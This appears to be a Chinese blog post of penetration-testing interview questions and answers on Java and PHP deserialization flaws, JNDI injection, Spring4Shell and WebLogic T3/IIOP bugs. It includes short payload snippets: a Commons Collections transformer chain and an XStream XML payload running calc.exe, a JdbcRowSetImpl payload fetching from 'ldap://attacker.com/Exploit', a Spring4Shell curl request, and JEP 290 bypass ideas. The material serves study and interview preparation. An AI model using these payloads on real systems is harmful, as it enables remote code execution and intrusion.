2025年渗透测试面试题总结- 某安全公司-安全研究员(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 某安全公司-安全研究员

Burp插件编写原理

CC1链原理分析(以LazyMap链为例)

Fastjson与Jackson反序列化原理对比

BCEL类加载器的替代方案

XStream反序列化漏洞原理

JEP 290原理与绕过

RMI原理与漏洞

JdbcRowSetImpl触发JNDI注入

CC链四个Transformer区别

反序列化其他触发点

Spring相关RCE原理(以Spring4Shell为例)

IIOP与T3协议反序列化漏洞

PHP反序列化漏洞


 

 某安全公司-安全研究员

一面
burp插件编写原理
CC1-7找一条链子讲一下原理
Fastjson和Jackson反序列化原理讲讲
BCEL可以用其他类加载器吗
Xtream反序列化讲讲
了解JEP290的原理吗
RMI原理以及相关漏洞
JdbcRowSetlmpl如何触发JNDI注入
CC链四个Transformer区别
反序列化除了readObject还有什么触发点
讲下Spring相关的RCE原理
讲讲IIOP和T3反序列化原理
PHP等语言的反序列化讲讲

Burp插件编写原理

  1. 核心机制
    • Burp基于Java的插件体系,通过实现IBurpExtender接口扩展功能。
    • 核心API
      • IExtensionHelpers:处理HTTP请求/响应(如解码、修改头)。
      • IHttpListener:监听并拦截流量。
      • IScannerCheck:自定义漏洞扫描逻辑。
  2. 开发流程
    • 编写类实现IBurpExtender,注册到Burp的registerExtenderCallbacks
    • 示例:java

      public class DemoPlugin implements IBurpExtender { public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { callbacks.setExtensionName("Demo Plugin"); callbacks.registerHttpListener(new CustomHttpListener()); } }

  3. 实战应用
    • 主动扫描插件:检测特定参数(如password明文传输)。
    • 被动插件:自动替换Token或添加自定义Header。

CC1链原理分析(以LazyMap链为例)

  1. Gadget链组成
    • 触发点AnnotationInvocationHandler.readObject()Map.entrySet()
    • 核心类
      • LazyMap.get() :触发ChainedTransformer.transform()
      • InvokerTransformer:反射调用Runtime.exec()
  2. 构造过程
    • 通过动态代理(Proxy.newProxyInstance() )将AnnotationInvocationHandlerLazyMap绑定。
    • 序列化代理对象后,反序列化触发get()方法执行命令。
  3. 代码片段 java

    Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers);


Fastjson与Jackson反序列化原理对比

特性FastjsonJackson
触发机制通过@type指定类,自动调用setter/getter。需开启enableDefaultTyping多态类型处理。
漏洞根源AutoType功能未严格校验,加载任意类。反序列化时利用getter或构造函数注入。
防御措施关闭AutoType或使用白名单。禁用多态类型处理,使用@JsonTypeId注解。
经典漏洞CVE-2017-18349(RCE via TemplatesImpl)。CVE-2019-12384(JDBC连接池注入)。

BCEL类加载器的替代方案

  1. BCEL特性
    • com.sun.org.apache.bcel.internal.util.ClassLoader 可从字节码字符串加载类。
    • 示例:ClassLoader.loadClass("$$BCEL$$$l...").newInstance()
  2. 替代方案
    • URLClassLoader:加载远程JAR或Class文件。
    • DefineClass(反射):通过Unsafe.defineClass 直接加载字节码。
    • Javassist:动态生成类并加载。

XStream反序列化漏洞原理

  1. 核心问题
    • XStream未限制反序列化时的类类型,攻击者可构造恶意XML触发任意代码。
  2. 利用链示例
    • CVE-2021-21344:通过ImageIO$ContainsFilter类执行命令。
    • XML构造:xml

      <sorted-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command><string>calc.exe</string></command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>

  3. 修复方案
    • 使用XStream.addPermission() 设置反序列化白名单。

JEP 290原理与绕过

  1. JEP 290机制
    • 过滤器接口:通过ObjectInputFilter检查反序列化的类是否允许。
    • 默认实现:限制数组深度、类名黑名单(如AnnotationInvocationHandler)。
  2. 绕过方法
    • 数组类型混淆:利用HashSetHashMap嵌套绕过深度检查。
    • 非标准类加载器:如BCEL加载绕过类名检查。
    • 二次反序列化:首次加载合法类,触发二次漏洞。

RMI原理与漏洞

  1. RMI架构
    • Registry:注册中心管理远程对象引用。
    • Client/Server:客户端通过存根(Stub)调用远程方法。
  2. 漏洞场景
    • 反序列化攻击:攻击注册中心(发送恶意对象)或客户端(恶意返回值)。
    • CVE-2017-3248:Java RMI Registry反序列化RCE。
  3. 防御措施
    • 升级JDK,启用JEP 290过滤器。

JdbcRowSetImpl触发JNDI注入

  1. 利用链
    • JdbcRowSetImpl.setDataSourceName()setAutoCommit()connect()lookup()
  2. 构造Payload java

    JdbcRowSetImpl jdbc = new JdbcRowSetImpl(); jdbc.setDataSourceName("ldap://attacker.com/Exploit"); jdbc.setAutoCommit(true); // 触发connect()

  3. 依赖条件
    • 目标应用需存在JNDI注入漏洞(JDK版本≤8u191)。

CC链四个Transformer区别

Transformer作用
ConstantTransformer返回固定值,作为链的起点。
InvokerTransformer反射调用方法(如Runtime.exec() )。
ChainedTransformer按顺序执行多个Transformer。
InstantiateTransformer实例化类(如调用构造函数)。

反序列化其他触发点

  1. readResolve()
    • 反序列化完成后自动调用,可触发恶意逻辑。
  2. readExternal()
    • 实现Externalizable接口的类会调用此方法。
  3. finalize()
    • 垃圾回收时触发(需构造对象丢弃)。
  4. toString()/hashCode()
    • 在集合操作(如HashMap.put() )中自动调用。

Spring相关RCE原理(以Spring4Shell为例)

  1. 漏洞背景
    • CVE-2022-22965:通过数据绑定修改Tomcat日志路径,写入WebShell。
  2. 利用条件
    • JDK≥9 + Tomcat + Spring MVC参数绑定。
  3. Payload示例 bash

    curl -X POST "http://target.com/user?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"

  4. 修复方案
    • 升级Spring Framework至5.3.18+或5.2.20+。

IIOP与T3协议反序列化漏洞

  1. IIOP(CORBA)
    • CVE-2015-4852:WebLogic IIOP协议反序列化漏洞,利用InvokerTransformer执行命令。
  2. T3(WebLogic专有协议)
    • CVE-2018-2628:T3协议传输恶意序列化对象触发RCE。
  3. 防御
    • 禁用IIOP/T3协议,或升级WebLogic补丁。

PHP反序列化漏洞

  1. 触发点
    • 魔术方法__wakeup()__destruct()中的危险操作。
  2. POP链构造
    • 利用内置类(如SoapClient)触发SSRF或文件操作。
  3. 案例
    • Laravel RCE(CVE-2021-3129):通过Phar反序列化执行命令。
  4. 防御
    • 避免反序列化用户输入,使用json_encode替代。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值